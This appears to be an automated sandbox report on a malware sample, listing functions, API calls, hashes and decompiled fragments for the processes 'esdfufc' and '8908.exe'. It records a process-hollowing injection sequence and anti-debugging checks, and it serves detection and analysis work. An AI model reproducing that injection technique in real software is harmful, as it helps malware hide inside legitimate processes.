Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.411750880.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: esdfufc PID: 5704 Parent PID: 936 esdfufcCOMMON

Executed Functions

Function 02CB0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02CB0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02CB016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02CB0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02CB0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CB0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02CB029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02CB02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02CB0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02CB032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02CB0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02CB03E1
ResumeThread.KERNELBASE(00000000), ref: 02CB03ED
ExitProcess.KERNEL32(00000000), ref: 02CB0412

Memory Dump Source

Source File: 0000000C.00000002.468398239.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: b4da79510591bedae0c4237a358fd6ee8304dd6e5b363a6564a0eaa93e342756
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 2BB1B574A00208AFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02CB0533

Strings

d, xrefs: 02CB0584
0, xrefs: 02CB0492
mfoaskdfnoa, xrefs: 02CB0520, 02CB0523
saodkfnosa9uin, xrefs: 02CB04DA

Memory Dump Source

Source File: 0000000C.00000002.468398239.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5707b2ebcdd92a659f02c7708f4060883ea9f0a17bb1e75e2b1d17e8e75a04dd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 1A512B70D08388DEEB12CBD8C849BDEBFB66F11708F144058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02CB05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02CB05EC

Strings

o, xrefs: 02CB0600
apfHQ, xrefs: 02CB05E2, 02CB05E5

Memory Dump Source

Source File: 0000000C.00000002.468398239.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e679b965806871f0bbed61513a2aedf71b26176c2ea2cec0cc4561b091d93619
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E1011E70C0425CEADB11DBA8C5187EEBFB5AF41308F148099C8092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004248F0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041D2AB,?,?,00424A60), ref: 004248F7

Memory Dump Source

Source File: 0000000C.00000002.467809088.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.467765140.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.468082308.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.468331158.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction ID: 55517b2789579e741b97ca7c1e2775b33a46f6c1eefcf645646359622b33a5cc
Opcode Fuzzy Hash: 74ebe90980ff84525567f3e1a00b41b8661479b10cc4bfab1013d10dc32df34a
Instruction Fuzzy Hash: 72A01132088208A3C2002282A80AB02BA0CC3CAB22F000020F20C0A0A20AB2A80280AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAF0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421CC0(); // executed
				return L0041CB10(_t3, _t4);
			}

0x0041caf5
0x0041cb00

APIs

___security_init_cookie.LIBCMTD ref: 0041CAF5

Memory Dump Source

Source File: 0000000C.00000002.467809088.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.467765140.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.468082308.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.468331158.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 4c18afce27419ee26c322df32de5c9bf3e271a84eecab90004b6a071cb69c07b
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: 07A00229388A9816415033A7385794A758D4CD07A87D5041A7518432171D5CBD5141AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004266A0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004266A0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0x76d43d63
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0x76d43d63
				_v812 = _t21;
				_t23 =  *0x43e498; // 0x892bc29c
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E00426680(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E00426680(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 0042ECBD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042ECD4
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042ECDF
GetCurrentProcess.KERNEL32(C0000409), ref: 0042ECFD
TerminateProcess.KERNEL32(00000000), ref: 0042ED04

Memory Dump Source

Source File: 0000000C.00000002.467809088.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.467765140.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.468082308.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.468331158.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1ea6f86a7c111197b8bdf7dfa4713be2a9a2f53c2d50d4b1d35e6b3b6dc60ea6
Instruction ID: a665b24862f6fd17f8ecd74432fc1c53978e323c3e5034f260c1264bca5f0225
Opcode Fuzzy Hash: 1ea6f86a7c111197b8bdf7dfa4713be2a9a2f53c2d50d4b1d35e6b3b6dc60ea6
Instruction Fuzzy Hash: E7211EB9D002009BC300DF65FA866483BA0BB1E314F60207BED08973B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 8908.exe PID: 2288 Parent PID: 3440 8908.exeCOMMON

Executed Functions

Function 02B60110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02B60156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02B6016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02B60255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02B60270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02B60283
GetThreadContext.KERNELBASE(00000000,?), ref: 02B6029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02B602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02B602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02B60304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02B6032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02B60399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02B603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02B603E1
ResumeThread.KERNELBASE(00000000), ref: 02B603ED
ExitProcess.KERNEL32(00000000), ref: 02B60412

Memory Dump Source

Source File: 0000000D.00000002.470614828.0000000002B60000.00000040.00000001.sdmp, Offset: 02B60000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 5ab16924b23f3ad0e9372dcf80539082fe739b2f2f7408d92c280894069d48fb
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: AFB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB391D775AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02B60420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02B60533

Strings

0, xrefs: 02B60492
mfoaskdfnoa, xrefs: 02B60520, 02B60523
saodkfnosa9uin, xrefs: 02B604DA
d, xrefs: 02B60584

Memory Dump Source

Source File: 0000000D.00000002.470614828.0000000002B60000.00000040.00000001.sdmp, Offset: 02B60000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 221ce765ed9116a274ef270f0ae80974d299e733cfb074e5994ec87ce912058b
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 49511A70D08388DAEB11DBD8C849BEDBFB2AF11708F144099D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02B605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02B605EC

Strings

o, xrefs: 02B60600
apfHQ, xrefs: 02B605E2, 02B605E5

Memory Dump Source

Source File: 0000000D.00000002.470614828.0000000002B60000.00000040.00000001.sdmp, Offset: 02B60000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 02363351edad9f210a211151ee58dc89b49c86d0f2b90e294a62c850cb1b217d
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: A4012170C0425CEFDF10EB98C5583AEBFB5AF41308F1484D9C4092B242D77A9B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: esdfufc PID: 6124 Parent PID: 5704 esdfufcCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000E.00000002.482316764.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 8908.exe PID: 2940 Parent PID: 2288 8908.exeCOMMON

Executed Functions

Function 00402AC0, Relevance: .1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00402AC0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr* _t21;
				void* _t24;
				void* _t27;

				_t24 = __ecx;
				_push(0xffffffb6);
				 *((intOrPtr*)(__ebx + 0x47)) =  *((intOrPtr*)(__ebx + 0x47)) - __ebx;
				_push(__ecx);
				_t23 = 0x2e9e9c3;
				asm("in al, dx");
				asm("cmpsd");
				asm("loopne 0x4");
				asm("sbb al, 0x27");
				_t3 = __ecx - 0x16161681;
				 *_t3 =  *((intOrPtr*)(__ecx - 0x16161681)) - __eax + __eax - _t27;
				_t21 = 2;
				asm("in al, dx");
				if( *_t3 >= 0) {
					_t23 = 0x2e9e9c3 +  *0xf4b01aa;
					_push(ss);
					_push(ss);
					_t21 = 0x2b10;
					_push(0xad);
				}
				asm("lodsd");
				 *_t21 =  *_t21 + _t21;
				 *((intOrPtr*)(_t24 - 0x15)) =  *((intOrPtr*)(_t24 - 0x15)) + _t23;
				_t21 = _t21 + 0xf4eb0301;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
			}

0x00402ac0
0x00402ac0
0x00402ac2
0x00402ac5
0x00402ac6
0x00402acb
0x00402acc
0x00402acd
0x00402acf
0x00402ad5
0x00402ad5
0x00402adb
0x00402add
0x00402ade
0x00402ae0
0x00402ae6
0x00402ae7
0x00402aed
0x00402afe
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b05
0x00402b0b

Memory Dump Source

Source File: 0000000F.00000002.539370502.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction ID: 7fe242a26a87a4f58b180528eeead1ac373e7822ac378e6f41f12b53d01bde8d
Opcode Fuzzy Hash: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction Fuzzy Hash: 4A21DB35208145EADF12AE618F5E9AA37349F10344F2400FBAD01751E2DBFD9B02BA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEB, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402AEB(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t15;

				_t15 = __ebx;
				while(1) {
					_push(0xad);
					asm("lodsd");
					 *0x2b10 =  *0x2b10 + 0x2b10;
					 *0x0000005D =  *((intOrPtr*)(0x5d)) + _t15;
